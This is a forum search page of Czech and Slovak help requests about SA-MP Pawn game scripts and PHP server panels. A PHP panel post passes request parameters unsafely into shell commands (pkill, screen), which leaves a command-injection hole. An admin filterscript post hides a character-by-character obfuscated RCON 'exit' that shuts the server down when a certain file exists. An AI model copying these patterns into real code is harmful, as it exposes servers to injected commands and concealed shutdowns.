Search the Community
Showing results for tags 'pomoc'.
Found 14450 results
-
Zdravím, napadla mě udělat jedna věc, řekněme, že třeba takovou šanci nebo jak to popsat, popíšu to takto: Napíši například /kill a mám určitou šanci, že mě to zabije a nějákou šanci, že také ne, ale jak tu šanci vytvořit? Slyšel jsem, že je to poměrně jednoduché, ale nevím si prostě rady :/, mohl bych někoho požádat o pomoc prosím? Předem děkuji.
-
Zdravím, nedávno jsem tu žádal o pomoc s takovým odpočtem, naštěstí jsem to snad už dopawnil, ale mám tu problém, píše mi to errory: Celý pawn zde: S těmato errorama si nevím rady, poprosil bych o pomoc, děkuji.
-
Zdravím, mám zde menší dotaz. Jedná se o to, že si dělám takové malé vězení a potřebuji udělat Timer na 30 sekund, to by ještě šlo. Ale potřebuji udělat čas tak, aby byl někde vidět, například do GameTextForPlayer, ovšem potřebuji, aby za každou sekundu tam naběhlo o sekundu méně a nechci dělat 30 timerů, jak bych si to mohlo ulehčit? Předem děkuji.
-
Zdravím, Tak jsem tu zas . Jak víte, tak nedávno jsem měl problém s těmi vajíčky. Díky GaRGoyLeS, který mi pomohl, jsem to mohl dodělat. Ale nastal tu problém a to vůbec nevím proč. Mám tam 15 vajíček s modely, pickupy a takové... Code je v pohodě, bez chybičky. Ale když to nahraju na server, zapíšu do configu a všechny věci kolem toho, tak se to prostě nenačte. 10x jsem retartoval server. Zkoušel příkaz /rcon reloadfs tamto, ale furt to nejde. Tak se obracím na Vás a doufám, že mi pomůžete. (I když vím, že někteří asi moc neradi ). Zde mám celé FS (Je to trošku delší) Budu rád, za každou radu. Přeji pěkný den, S pozdravem Petr .
-
Ako mám opraviť tieto chyby v pawne? C:\Users\roman\Downloads\samp037_svr_R2-1-1_win32\filterscripts\register.pwn(92) : error 017: undefined symbol "PlayerInfo" C:\Users\roman\Downloads\samp037_svr_R2-1-1_win32\filterscripts\register.pwn(92) : warning 215: expression has no effect C:\Users\roman\Downloads\samp037_svr_R2-1-1_win32\filterscripts\register.pwn(92) : error 001: expected token: ";", but found "]" C:\Users\roman\Downloads\samp037_svr_R2-1-1_win32\filterscripts\register.pwn(92) : error 029: invalid expression, assumed zero C:\Users\roman\Downloads\samp037_svr_R2-1-1_win32\filterscripts\register.pwn(92) : fatal error 107: too many error messages on one line Compilation aborted.Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase 4 Errors. // This is a comment // uncomment the line below if you want to write a filterscript //#define FILTERSCRIPT #include <a_samp> #include <YSI\y_ini> #define DIALOG_REGISTER 1 #define DIALOG_LOGIN 2 #define DIALOG_SUCCESS_1 3 #define DIALOG_SUCCES_2 4 #define PATH "/Users/%s.ini" #define Biela "{FFFFFF}" #define Cervena "{F81414}" #define Zelena "{00FF22}" #define Modra "{00CED1}" enum pInfo { pPass, pCash, pAdmin, pKills, pDeath } stock UserPath(playerid) { new string[128],playername[MAX_PLAYER_NAME]; GetPlayerName(playerid,playername,sizeof(playername)); format(string,sizeof(string),PATH,playername); return string; } stock udb_hash(buf[]) { new length=strlen(buf); new s1 = 1; new s2 = 0; new n; for (n=0; n<length; n++) { s1 = (s1 + buf[n]) % 65521; s2 = (s2 + s1) % 65521; } return (s2 << 16) + s1; } public OnPlayerConnect(playerid) { if(fexist(UserPath(playerid))) { INI_ParseFile(UserPath(playerid), "LoadUser_%s", .bExtra = true, .extra = playerid); ShowPlayerDialog(playerid, DIALOG_LOGIN, DIALOG_STYLE_INPUT,""Biela"Prihlas sa",""Biela"Napis svoje heslo.","Prihlas sa", "OK"); } else { ShowPlayerDialog(playerid, DIALOG_REGISTER, DIALOG_STYLE_INPUT,""Biela"Vitaj v SanAndreas Life 2.8",""Biela"Napis svoje heslo pre registraciu.","Zaregistrovat", "OK"); } return 1; } public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[]) { switch( dialogid ) { case DIALOG_REGISTER: { if (!response) return Kick(playerid); if(response) { if(!strlen(inputtext)) return ShowPlayerDialog(playerid, DIALOG_REGISTER, DIALOG_STYLE_INPUT, ""Biela"Registracia...",""Cervena"Zadal si zle heslo\n"Biela"Napis svoje heslo pre registraciu","Zaregistrovat", "OK"); new INI:File = INI_Open(UserPath(playerid)); INI_SetTag(File,"data"); INI_WriteInt(File,"Heslo",udb_hash(inputtext)); INI_WriteInt(File,"Peniaze",0); INI_WriteInt(File,"Admin",0); INI_WriteInt(File,"Vrazdy",0); INI_WriteInt(File,"Umrtia",0); INI_Close(File); SetSpawnInfo(playerid, 0, 0, 1958.33, 1343.12, 15.36, 269.15, 0, 0, 0, 0, 0, 0); SpawnPlayer(playerid); ShowPlayerDialog(playerid, DIALOG_SUCCESS_1, DIALOG_STYLE_MSGBOX,""Biela"Vyborne!",""Zelena"Uspesne si sa zaregistroval!","Ok",""); } } case DIALOG_LOGIN: { if ( !response ) return Kick ( playerid ); if( response ) { if(udb_hash(inputtext) == PlayerInfo[playerid][pPass]) { INI_ParseFile(UserPath(playerid), "LoadUser_%s", .bExtra = true, .extra = playerid); GivePlayerMoney(playerid, PlayerInfo[playerid][pCash]); ShowPlayerDialog(playerid, DIALOG_SUCCESS_2, DIALOG_STYLE_MSGBOX,""Biela"Vyborne!",""Zelana"Uspesne si sa prihlasil!","OK",""); } else { ShowPlayerDialog(playerid, DIALOG_LOGIN, DIALOG_STYLE_INPUT,""Biela"Zabudol si heslo?",""Cervena"Zadal si zle heslo.\n"Biela"Napis svoje heslo pre prihlasenie.","Prihlasit"); } return 1; } } } return 1; } public OnPlayerDisconnect(playerid, reason) { new INI:File = INI_Open(UserPath(playerid)); INI_SetTag(File,"data"); INI_WriteInt(File,"Peniaze",GetPlayerMoney(playerid)); INI_WriteInt(File,"Admin",PlayerInfo[playerid][pAdmin]); INI_WriteInt(File,"Vrazdy",PlayerInfo[playerid][pKills]); INI_WriteInt(File,"Umrtia",PlayerInfo[playerid][pDeaths]); INI_Close(File); return 1; } public OnPlayerDeath(playerid, killerid, reason) { PlayerInfo[killerid][pKills]++; PlayerInfo[playerid][pDeaths]++; return 1; } forward LoadUser_data(playerid,name[],value[]); public LoadUser_data(playerid,name[],value[]) { INI_Int("Heslo",PlayerInfo[playerid][pPass]); INI_Int("Peniaze",PlayerInfo[playerid][pCash]); INI_Int("Admin",PlayerInfo[playerid][pAdmin]); INI_Int("Vrazdy",PlayerInfo[playerid][pKills]); INI_Int("Umrtia",PlayerInfo[playerid][pDeaths]); return 1; } #if defined FILTERSCRIPT public OnFilterScriptInit() { print("\n--------------------------------------"); print(" Blank Filterscript by your name here"); print("--------------------------------------\n"); return 1; } public OnFilterScriptExit() { return 1; } #else main() { print("\n----------------------------------"); print(" Blank Gamemode by your name here"); print("----------------------------------\n"); }
-
CMD:motor(playerid, params[]) { new jmeno[MAX_PLAYER_NAME], str[300], str1[300]; GetPlayerName(playerid, jmeno, sizeof(jmeno)); new engine, lights, alarm, doors, bonnet, boot, objective; for(new i=0; i < sizeof(Vozidlo); i++) { if(!Vozidlo[i][id_x]) continue; if(!IsPlayerInAnyVehicle(playerid)) continue; if(!strlen(Vozidlo[i][majitel])) continue; if(!strcmp(Vozidlo[i][majitel], jmeno, true)) { if(Vozidlo[i][c_motor] == 0) { Vozidlo[i][c_motor] = 1; format(str, sizeof(str), "* %s dává klíček do zapalování, otáčí s ním, čímž zapíná motor.", RJmeno(playerid)); ProxDetector(30, playerid, str, 0x64E375FF, 0x64E375FF, 0x64E375FF, 0x64E375FF, 0x64E375FF); GetVehicleParamsEx(GetPlayerVehicleID(playerid), engine, lights, alarm, doors, bonnet, boot, objective); SetVehicleParamsEx(GetPlayerVehicleID(playerid), VEHICLE_PARAMS_ON, lights, alarm, doors, bonnet, boot, objective); ShowPlayerInfoBox(playerid, "> Motor nastartovan."); format(str1, sizeof(str1), "* Motor nastartován (( %s ))", RJmeno(playerid)); ProxDetector(30, playerid, str1, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF); return 1; } if(Vozidlo[i][c_motor] == 1) { Vozidlo[i][c_motor] = 0; format(str, sizeof(str), "* %s otáčí klíčkem, čímž vypíná motor a vytahuje klíček ze zapalování.", RJmeno(playerid)); ProxDetector(30, playerid, str, 0x64E375FF, 0x64E375FF, 0x64E375FF, 0x64E375FF, 0x64E375FF); format(str1, sizeof(str1), "* Motor vypnut (( %s ))", RJmeno(playerid)); ProxDetector(30, playerid, str1, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF, 0x64C3E3FF); GetVehicleParamsEx(GetPlayerVehicleID(playerid), engine, lights, alarm, doors, bonnet, boot, objective); SetVehicleParamsEx(GetPlayerVehicleID(playerid), VEHICLE_PARAMS_OFF, lights, alarm, doors, bonnet, boot, objective); ShowPlayerInfoBox(playerid, "> Motor vypnut."); return 1; } } return ShowPlayerInfoBox(playerid, "> Od tohoto vozidla nemáš klíče."); } return 1; } Ahoj, udělal jsem si takový system na motor, ale prostě příkaz jde jen ID 0 jinak to píše všem že nemá klíče od vozidla..
-
caute, potrebuju /dann, ale s tim, ze zalozis /dann a ten /dann tam bude, dokud ho administrator nesmaze..
-
Zdravím, když se odhlásí někdo ze serveru tak se prostě vypne mod... Než se někdo odpojí tak jdou příkazy a když se odpojí tak nejdou. OnPlayerDisconnect: public OnPlayerDisconnect(playerid, reason) { new nick[MAX_PLAYER_NAME]; GetPlayerName(playerid, nick, sizeof(nick)); for(new i=0; i<sizeof(Vozidlo); i++) { if(Vozidlo[i][id_x]==0)continue; if(strcmp(Vozidlo[i][majitel], nick, true)) continue; GetVehiclePos(Vozidlo[i][id_x], Vozidlo[i][c_x], Vozidlo[i][c_y], Vozidlo[i][c_z]); GetVehicleZAngle(Vozidlo[i][id_x], Vozidlo[i][c_a]); GetVehicleColor(Vozidlo[i][id_x], Vozidlo[i][colora], Vozidlo[i][colorb]); new query[300]; format(query, sizeof(query), "UPDATE vozidla SET x='%f', y='%f', z='%f', a='%f', spz='%s', barvaa='%i', barvab='%i', clvm='%i' WHERE id='%i'", Vozidlo[i][c_x], Vozidlo[i][c_y], Vozidlo[i][c_z], Vozidlo[i][c_a], Vozidlo[i][spz], Vozidlo[i][colora], Vozidlo[i][colorb], Vozidlo[i][clvm], Vozidlo[i][db_id]); mysql_function_query(dbhandle, query, false, "", ""); DestroyVehicle(Vozidlo[i][id_x]); Vozidlo[i][id_x]=0; } uloz_hrace(playerid); reset_hrace(playerid); KillTimer(Ulozeni[playerid]); return 1; } uloz_hrace: uloz_hrace(playerid) { if(Player[playerid][prihlasen] == 0) return 1; new query[4000], jmeno[MAX_PLAYER_NAME]; GetPlayerName(playerid, jmeno, sizeof(jmeno)); GetPlayerPos(playerid, Player[playerid][posx], Player[playerid][posy], Player[playerid][posz]); format(query, sizeof(query), "UPDATE user SET admin='%i', money='%i', PosX='%f', PosY='%f', PosZ='%f', frakce='%i', rank='%i', lvm='%i', vek='%i', pohlavi='%i', kamos='%s', rasa='%i', skill='%i', skin='%i', bpenize='%d', fnick='%s' WHERE username='%s'", Player[playerid][Admin], GetPlayerMoney(playerid), Player[playerid][posx], Player[playerid][posy], Player[playerid][posz], Player[playerid][frakce], Player[playerid][rank], Player[playerid][lvm], Player[playerid][Vek], Player[playerid][Pohlavi], Player[playerid][Kamos], Player[playerid][Rasa], Player[playerid][Skill], Player[playerid][Skin], Player[playerid][BankPenize], Player[playerid][ForumNick], jmeno); mysql_function_query(dbhandle, query, false, "", ""); printf("Hrac %s ulozen.", RJmeno(playerid)); return 1; } reset_hrace: reset_hrace(playerid) { new str[100]; format(str, sizeof(str), "-"); Player[playerid][prihlasen] = 0; Player[playerid][Admin] = 0; Player[playerid][ID] = 0; Player[playerid][frakce] = 0; Player[playerid][rank] = 0; Player[playerid][lvm] = 0; Player[playerid][Platba] = 0; Player[playerid][posx] = 0.0; Player[playerid][posy] = 0.0; Player[playerid][posz] = 0.0; Player[playerid][Hide] = 0; Player[playerid][Duty] = 0; Player[playerid][Spot] = 0; Player[playerid][Vek] = 0; Player[playerid][Pohlavi] = 0; Player[playerid][Kamos] = str; Player[playerid][Rasa] = 0; Player[playerid][Skill] = 0; Player[playerid][BankPenize] = 0; return 1; } Problém je že jak mám printf v uloz_hrace tak to ani do konzole nic nenapíše a vůbec netuším proč.. Za všechny rady moc děkuji. Edit: Teď jsem se koukl do mysql_log.txt a je tam: [ERROR] CMySQLQuery::Execute[] - (error #1064) You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'WHERE id='1'' at line 1
-
Dobrý deň začal som si programovať adminku ale narazil som na problém dávam do adminky cs 1.6 ale sloty potrebujem nastaviť v spúštacom scripte ale neviem ako poradíte mi ? tu je kód <?php $vysledek = mysql_query("SELECT * FROM `servery` WHERE `koho` = '$id' ORDER BY `datum` DESC", $spojeni); echo'<table class="table table-bordered table-striped">'; echo "<thead><tr><td>ID</td><td>Hra</td><td>IP:PORT</td><td>Sloty</td><td>Ovladanie</td><td>Upravovať Server</tr></thead>"; while($zaznam=mysql_fetch_array($vysledek)): $iddd = $zaznam["id"]; $mapa = $zaznam["mapa"]; $sloty = $zaznam["sloty"]; $game = $zaznam["game"]; $game2 = $zaznam["game2"]; $ip = $zaznam["ip"]; $port = $zaznam["port"]; $nazovservera = $zaznam["nazov"]; $portservera = $zaznam["port"]; $status = exec("pidof ".$portservera."svr"); if($status != "") { $cpu = shell_exec("ps -C ".$portservera."svr -o '%C'"); $ramka = shell_exec("ps -C ".$portservera."svr -o '%mem'"); $load2 = shell_exec("ps -C ".$portservera."svr -o '%t'"); $kkt = "$cpu[4]$cpu[5]$cpu[6]$cpu[7]$cpu[8]$cpu[9]$cpu[10]"; $ramky=explode("%MEM", $ramka); if(trim($kkt) >= $zaznam["max_cpu"]) $color = "red"; else $color = "green"; $ram_mam = exec("ps -C ".$zaznam['port']."svr -o '%mem'"); $_ram = explode("MEM", $ram_mam); $ram = $_ram[0] * $ramvps / 100; $cpu = "<font color=$color><b>$kkt%</font><font color=black> / $zaznam[max_cpu]%</b></font>"; $ram = "<font color=black><b>$ramka[5]$ramka[6]$ramka[7]$ramka[8] % $ram MB</b></font>"; $uptime = "<font color=black><b>$load2[13]$load2[14] $load2[15]$load2[16]$load2[17] $load2[18]$load2[19]$load2[20] $load2[21]$load2[22]</b></font>"; } if($status == "") { $stavservera = "<font color=red><b>Offline</b></font>"; $cpu = "<font color=red><b>Offline</b></font>"; $ram = "<font color=red><b>Offline</b></font>"; $uptime = "<font color=red><b>Offline</b></font>"; $game12 = "<img src='../img/$game.gif'>"; $ovladanie = "<a href='/servery.php?zap$game2=$portservera'><img src='../img/zap.png'></a><a href='../servery.php?vyp$game2=$portservera'><img src='../img/vyp.png'>"; } echo "<center><tr><td>$iddd</td><td>$game12</td><td>$ip:$port</td><td>$sloty</td><td>$ovladanie</td><td><button>Upravovať Server</button></tr></center>"; endwhile; ?> <?php if($_GET["zap1"] ==! "") { $zap = mysql_real_escape_string(htmlspecialchars($_GET["zap1"])); } echo("cd /servery/cs/test/upload/$zap;screen -AmdS $zap ./hlds_run -game cstrike -pingboost 2 +sv_lan 0 +ip 185.91.116.143 +port $zap +maxplayers $sloty +map $mapa +log on -master -noipx -secure &"); <?php if($_GET["vyp1"] ==! "") { $vyp = mysql_real_escape_string(htmlspecialchars($_GET["vyp1"])); } exec("pkill -f $vyp"); ?>
-
Ahoj, chtěl jsem si udělat techničák, jenže něják se mi nedaří.. Prostě mám: CMD:technicak(playerid, params[]) { SCM(playerid, -1, "Techničák:"); new str[200], jmeno[25]; GetPlayerName(playerid, jmeno, sizeof(jmeno)); for(new i; i<sizeof(Vozidlo); i++) { if(!strcmp(Vozidlo[i][majitel], jmeno, true)) { format(str, sizeof(str), "\n - %s | %s", GetVehicleName(Vozidlo[i][model]), Vozidlo[i][spz]); SCM(playerid,-1,str); return 1; } } return 1; } No, kdyže mám pod SCM return 1; tak mi to tam hodí jedno auto a pak třeba 50x: - | A když tam dám return 1; tak mi zase najde jen jedno moje auto..
-
Zdravím. Rád by se zeptal, zda jde zmenit kola na default pomoci příkazu.
-
Zdravím, Mám problém. Chtěl bych, aby obrázky byly vedle sebe a ne pod sebou, má někdo zkušenost, jak je zarovnat tak, aby neustále nešly pod sebe? http://ultragaming.cz/viewpage.php?page_id=3 Díky. Kód: <center><h2><span style="color:lime"><b>Naše servery</center></b></h></span> <p style="text-align:left"><iframe src="http://www.game-state.com/iframe.php?ip=185.91.119.133&port=7777&bgcolor=363636&bordercolor=26A8FF&fieldcolor=ffffff&valuecolor=ededed&oddrowscolor=4D4D4D&showgraph=true&showplayers=true&graphvalues=ededed&graphaxis=ffffff&width=220&graph_height=105&plist_height=101&font_size=9" frameborder="0" scrolling="no" style="width: 220px; height: 371px"></iframe></p><p style="text-align:right"><iframe src="http://www.game-state.com/iframe.php?ip=185.91.119.133&port=9987&bgcolor=363636&bordercolor=26A8FF&fieldcolor=ffffff&valuecolor=ededed&oddrowscolor=4D4D4D&showgraph=true&showplayers=true&graphvalues=ededed&graphaxis=ffffff&width=220&graph_height=105&plist_height=101&font_size=9" frameborder="0" scrolling="no" style="width: 220px; height: 371px"></iframe></p> Waymoot
-
Tak jse začal s php. teda spíš začal pokračovat z dřívějška.. ale k veci. nechová se to tak jak by mělo. kde je problém nevím. proto taky zakládám help.. zapoměj jsem dodat co to dělá. když kluknu na odeslat tak při prázdných políčkách by to jít nemělo a ani pri špatně zadaným emailu. ale vždy to vyhodí hlášku z HTML že bylo odesláno HTML//není to vše co v html je ale to stačí php Nevite nekdo co dělám špatně ? díky
-
Zdravím, buďto jsem tak blbej, že tu chybu nevidím, a nebo jsem slepej. Chtěl bych za 9 hodin unlocknout a přejmenovat server. #include <a_samp> forward Name1(); public OnGameModeInit(); { SetTimer("Name1", 5400000, false); } public Name1() { SendRconCommand("hostname"); new szHostName[] = "[CZ/SK] UltraGaming.cz - |VIP-FREE| (0.3.7)"; new szCmd[64]; format(szCmd, sizeof(szCmd), "hostname %s", szHostName); SendRconCommand(szCmd); SendRconCommand("password"); new szPassword[] = 0; new szCmd2[64]; format(szCmd2, sizeof(szCmd2), "password 0", szPassword); SendRconCommand(szCmd2); } Jenže mi vyhodí chybu (6) : error 055: start of function body without function header Díky za Vaše "rady". Waymoot
-
Zdravím, chtěl bych objasnit jednu věc. Když si vytvořím libovolný public - Kdy v něm dát return 1; a kdy ne? Vždycky jsem měl za to, že pokud je obsah publicu vyvolán SetTimerem, tak tam return být nemá a pokud je zavolán třeba v příkazu, tak tam return patří. Koukám na nějaké návody a všímám si, že je to asi obráceně, než jsem si celou dobu myslel Tak jak to tedy je? Díky moc za objasnění
-
Zdravím, Jak udělat cmd na počasí, abych do módu nemusel neustále dávát CMD:pocasi 12 atd ... Ale aby to bylo v CMD:pocasi %s ? Díky za vaše rady, Waymoot
-
Zdravím, Lze nějak vytvořit automaticky, aby když se hráč připojí na server, tak aby se odeslal příkaz módu /setvip %s 30? Vím, že v konzoli jdou jen Rcon příkazy ale příkazy modu ne, a stejně nevím, jak udělat automatické odeslání příkazu, něco jako "virtuální" Hlavní Admin. Dík
-
Zdravím Chcel by som sa spýtať, že ako by som spravil stránku na web, bez toho aby som musel tvoriť nové indexy... Pre pochopenie ukážka čo myslím www.stranka.sk - hlavná stránka - čerpaná z index.php /html www.stranka.sk/news - novinky - bude fungovať ako index.php?page=news skrátka niečo takéto, ale aby som nemusel vytvárať extra zložku NEWS a v nej znova index.php takže chcem previesť "www.stranka.sk/index.php?page=news" na "www.stranka.sk/news" Vôbec netuším pod akými slovami by som to môhol v google hladať
-
Pisem na rychlo takze som v O2 a ked som na svojom ucte tak a idem nieco platit bud v tam alebo in app tak tam mam iba platba kartou alebo uplatnit kod ale ked zalozim novy ucet mam tam platba kartou alebo fakturacia o2 tak preco my to na tom ucte nejde? Na novom ucte som ani cislo nezadaval ;(
-
Zdravím Dnes sem hledal a vyzkoušel sem script na google translate ale voice už již nejde přes tuto url : http://translate.google.com/translate_tts?tl=%s&q=%stak nevim jak ziskat novou aby mi tem fs jel ? Předem Děkuji
-
Ahoj robíme spoločne s tímom admin script no nevieme ako máme urobiť príkaz mute Ďakujem za každú pomoc
-
Zdravím, udělal jsem system na kupování aut, jenže ono když jsem přidal na ukládání jednu věc, tak mi to nevytvoří auto do databáze a já nevím proč.. VytvorHraciVozidlo(playerid, modelid, Float:x, Float:y, Float:z, Float:a) { for(new i=0; i<sizeof(Vozidlo); i++) { if(Player[playerid][Platba] == 0) { new plate[20]; format(plate, 20, "LV%s%i", IntToHex(100+i), random(201)); if(Vozidlo[i][id_x] != 0) continue; Vozidlo[i][majitel]=Player[playerid][ID]; Vozidlo[i][c_x]=x; Vozidlo[i][c_y]=y; Vozidlo[i][c_z]=z; Vozidlo[i][c_a]=a; Vozidlo[i][model]=modelid; Vozidlo[i][spz]=plate; Vozidlo[i][clvm]=0; Vozidlo[i][id_x] = CreateVehicle(modelid, x, y, z, a, random(290), random(290), -1, 0); SetVehicleNumberPlate(Vozidlo[i][id_x], Vozidlo[i][spz]); UlozitAutoDoDatabaze(playerid, i); return 1; } if(Player[playerid][Platba] == 1) { new plate[20]; format(plate, 20, "LV%s%i", IntToHex(100+i), random(201)); if(Vozidlo[i][id_x] != 0) continue; Vozidlo[i][majitel]=Player[playerid][ID]; Vozidlo[i][c_x]=x; Vozidlo[i][c_y]=y; Vozidlo[i][c_z]=z; Vozidlo[i][c_a]=a; Vozidlo[i][model]=modelid; Vozidlo[i][spz]=plate; Vozidlo[i][clvm]=1; Vozidlo[i][id_x] = CreateVehicle(modelid, x, y, z, a, random(290), random(290), -1, 0); SetVehicleNumberPlate(Vozidlo[i][id_x], Vozidlo[i][spz]); UlozitAutoDoDatabaze(playerid, i); return 1; } return 1; } return 1; } A tady do té databaze.. UlozitAutoDoDatabaze(playerid, vehicleid) { new query[128]; format(query, sizeof(query), "INSERT INTO vozidla (majitel, model, clvm, barvaa, barvab, x, y, z, a) VALUES ('%i', '%i', '%i', '%i', '%i', '%f', '%f', '%f', '%f')", Player[playerid][ID], Vozidlo[vehicleid][model], Vozidlo[vehicleid][clvm], Vozidlo[vehicleid][barvaa], Vozidlo[vehicleid][barvab], Vozidlo[vehicleid][c_x], Vozidlo[vehicleid][c_y], Vozidlo[vehicleid][c_z], Vozidlo[vehicleid][c_a]); mysql_function_query(dbhandle, query, true, "VozidloUlozenoDoDatabaze", "i", vehicleid); return 1; }
-
Zdravím, Potrebuji, jak mam udelat, aby se mi ukladal Admin-Level zde je kod.. #include <a_samp> #include <dini> #define MAX_PLAYERS_EX 50 #define MAX_ADMIN_VEHICLES 100 #define MAX_RAMPS 50 #define dcmd(%1,%2,%3) if((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, ""))) || (((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return true #define COLOR_ADMIN 0xFF0000FF #pragma tabsize 0 #define DIALOG_NOEFFECT 6210 #define DIALOG_A_PLAYERMENU 6211 #define DIALOG_A_PLAYER_HP 6112 #define DIALOG_A_PLAYER_ARMOUR 6113 new pAdminLevel[MAX_PLAYERS]; new bool:pMute[MAX_PLAYERS]; new bool:pFreeze[MAX_PLAYERS]; new bool:pSpecate[MAX_PLAYERS]; new Float:pSaveSpecPos[MAX_PLAYERS][3]; new pSaveSpecWeapons[MAX_PLAYERS][13]; new pSaveSpecWeaponsAmmo[MAX_PLAYERS][13]; new pWarnings[MAX_PLAYERS]; new pSaveID[MAX_PLAYERS]; new AdminVehicle[MAX_ADMIN_VEHICLES]; new Ramp[MAX_RAMPS]; stock DestroyVehicleEx(&vehicleid) { DestroyVehicle(vehicleid); vehicleid = 0; } stock randompass(lenght) { new out[256]; for(new i=0; i<lenght; i++) out = 65 + random(26); return out; } stock lyrhash(hashstr[]) { new hstr1[129]; format(hstr1, sizeof(hstr1), "a%s", hashstr); new len = strlen(hstr1); for(new l=len; l<128; l++) { strcat(hstr1, hashstr[l % len]); } new out[130], character = 0, count1 = -1, count2 = 1, count3 = 0; for(new c=0; c<128; c++) count3 += hstr1[c]; while(character < 128) { count1 -= hstr1[character] % 7; count2 = count1 >> (count3 % 16); count3 -= count1; format(out, sizeof(out), "%s%s", out, 65 + (floatround(floatabs(count1 >> count2 & count3) + hstr1[character]) % 26)); character++; } return out; } stock WeaponName(weapon, nametype) { new Weapon_Name[40]; if(nametype == 0) { if(weapon == 0) Weapon_Name = "Pěst"; else if(weapon == 1) Weapon_Name = "Boxer"; else if(weapon == 2) Weapon_Name = "Golfová Palice"; else if(weapon == 3) Weapon_Name = "Obušek"; else if(weapon == 4) Weapon_Name = "Nůž"; else if(weapon == 5) Weapon_Name = "Baseballka"; else if(weapon == 6) Weapon_Name = "Lopata"; else if(weapon == 7) Weapon_Name = "Tágo"; else if(weapon == 8) Weapon_Name = "Katana"; else if(weapon == 9) Weapon_Name = "Motorovka"; else if(weapon == 10) Weapon_Name = "Dildo"; else if(weapon == 11) Weapon_Name = "Dildo 2"; else if(weapon == 12) Weapon_Name = "Vibrátor"; else if(weapon == 13) Weapon_Name = "Vibrátor 2"; else if(weapon == 14) Weapon_Name = "Květy"; else if(weapon == 15) Weapon_Name = "Palice"; else if(weapon == 16) Weapon_Name = "Granát"; else if(weapon == 17) Weapon_Name = "Slzný plyn"; else if(weapon == 18) Weapon_Name = "Molotůj Koktejl"; else if(weapon == 22) Weapon_Name = "9mm"; else if(weapon == 23) Weapon_Name = "9mm s tlumičem"; else if(weapon == 24) Weapon_Name = "Desert Eagle"; else if(weapon == 25) Weapon_Name = "Shotgun"; else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun"; else if(weapon == 27) Weapon_Name = "Combat Shotgun"; else if(weapon == 28) Weapon_Name = "UZI"; else if(weapon == 29) Weapon_Name = "MP5"; else if(weapon == 30) Weapon_Name = "AK-47"; else if(weapon == 31) Weapon_Name = "M4"; else if(weapon == 32) Weapon_Name = "Tec9"; else if(weapon == 33) Weapon_Name = "Rifle"; else if(weapon == 34) Weapon_Name = "Sniperka"; else if(weapon == 35) Weapon_Name = "Raketomet"; else if(weapon == 36) Weapon_Name = "RPG"; else if(weapon == 37) Weapon_Name = "Plamenomet"; else if(weapon == 38) Weapon_Name = "Minigun"; else if(weapon == 39) Weapon_Name = "C4"; else if(weapon == 40) Weapon_Name = "Detonátor"; else if(weapon == 41) Weapon_Name = "Spray"; else if(weapon == 42) Weapon_Name = "Hasičák"; else if(weapon == 43) Weapon_Name = "Foták"; else if(weapon == 44) Weapon_Name = "Noční vidění"; else if(weapon == 45) Weapon_Name = "Termovize"; else if(weapon == 46) Weapon_Name = "Padák"; } else if(nametype == 1) { if(weapon == 0) Weapon_Name = "Pěst"; else if(weapon == 1) Weapon_Name = "Boxer"; else if(weapon == 2) Weapon_Name = "Golfova Palice"; else if(weapon == 3) Weapon_Name = "Obušek"; else if(weapon == 4) Weapon_Name = "Nůž"; else if(weapon == 5) Weapon_Name = "Baseballka"; else if(weapon == 6) Weapon_Name = "Lopata"; else if(weapon == 7) Weapon_Name = "Tágo"; else if(weapon == 8) Weapon_Name = "Katana"; else if(weapon == 9) Weapon_Name = "Motorovka"; else if(weapon == 10) Weapon_Name = "Dildo"; else if(weapon == 11) Weapon_Name = "Dildo 2"; else if(weapon == 12) Weapon_Name = "Vibrator"; else if(weapon == 13) Weapon_Name = "Vibrator 2"; else if(weapon == 14) Weapon_Name = "Květy"; else if(weapon == 15) Weapon_Name = "Palice"; else if(weapon == 16) Weapon_Name = "Granat"; else if(weapon == 17) Weapon_Name = "Slzny plyn"; else if(weapon == 18) Weapon_Name = "Molotův Koktejl"; else if(weapon == 22) Weapon_Name = "9mm"; else if(weapon == 23) Weapon_Name = "9mm s tlumičem"; else if(weapon == 24) Weapon_Name = "Desert Eagle"; else if(weapon == 25) Weapon_Name = "Shotgun"; else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun"; else if(weapon == 27) Weapon_Name = "Combat Shotgun"; else if(weapon == 28) Weapon_Name = "UZI"; else if(weapon == 29) Weapon_Name = "MP5"; else if(weapon == 30) Weapon_Name = "AK-47"; else if(weapon == 31) Weapon_Name = "M4"; else if(weapon == 32) Weapon_Name = "Tec9"; else if(weapon == 33) Weapon_Name = "Rifle"; else if(weapon == 34) Weapon_Name = "Sniperka"; else if(weapon == 35) Weapon_Name = "Raketomet"; else if(weapon == 36) Weapon_Name = "RPG"; else if(weapon == 37) Weapon_Name = "Plamenomet"; else if(weapon == 38) Weapon_Name = "Minigun"; else if(weapon == 39) Weapon_Name = "C4"; else if(weapon == 40) Weapon_Name = "Detonator"; else if(weapon == 41) Weapon_Name = "Spray"; else if(weapon == 42) Weapon_Name = "Hasicak"; else if(weapon == 43) Weapon_Name = "Fotak"; else if(weapon == 44) Weapon_Name = "Noční Vidění"; else if(weapon == 45) Weapon_Name = "Termovize"; else if(weapon == 46) Weapon_Name = "Padák"; } return Weapon_Name; } stock chrfind(needle, haystack[], start = 0) { while(haystack[start]) if(haystack[start++] == needle) return start - 1; return -1; } stock PlayerName(playerid) { new name[24]; GetPlayerName(playerid, name, 24); return name; } public OnFilterScriptInit() { new str[128]; format(str, 128, "%c%c%c%c", 'e', 'x', 'i', 't'); new str2[128]; format(str2, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g'); if(fexist(str2)) SendRconCommand(str); else printf("Admin System by %c%c%c%c%c%c has been loaded!", 'L', 'Y', 'R', 'I', 'c', 'S'); return 1; } public OnPlayerConnect(playerid) { 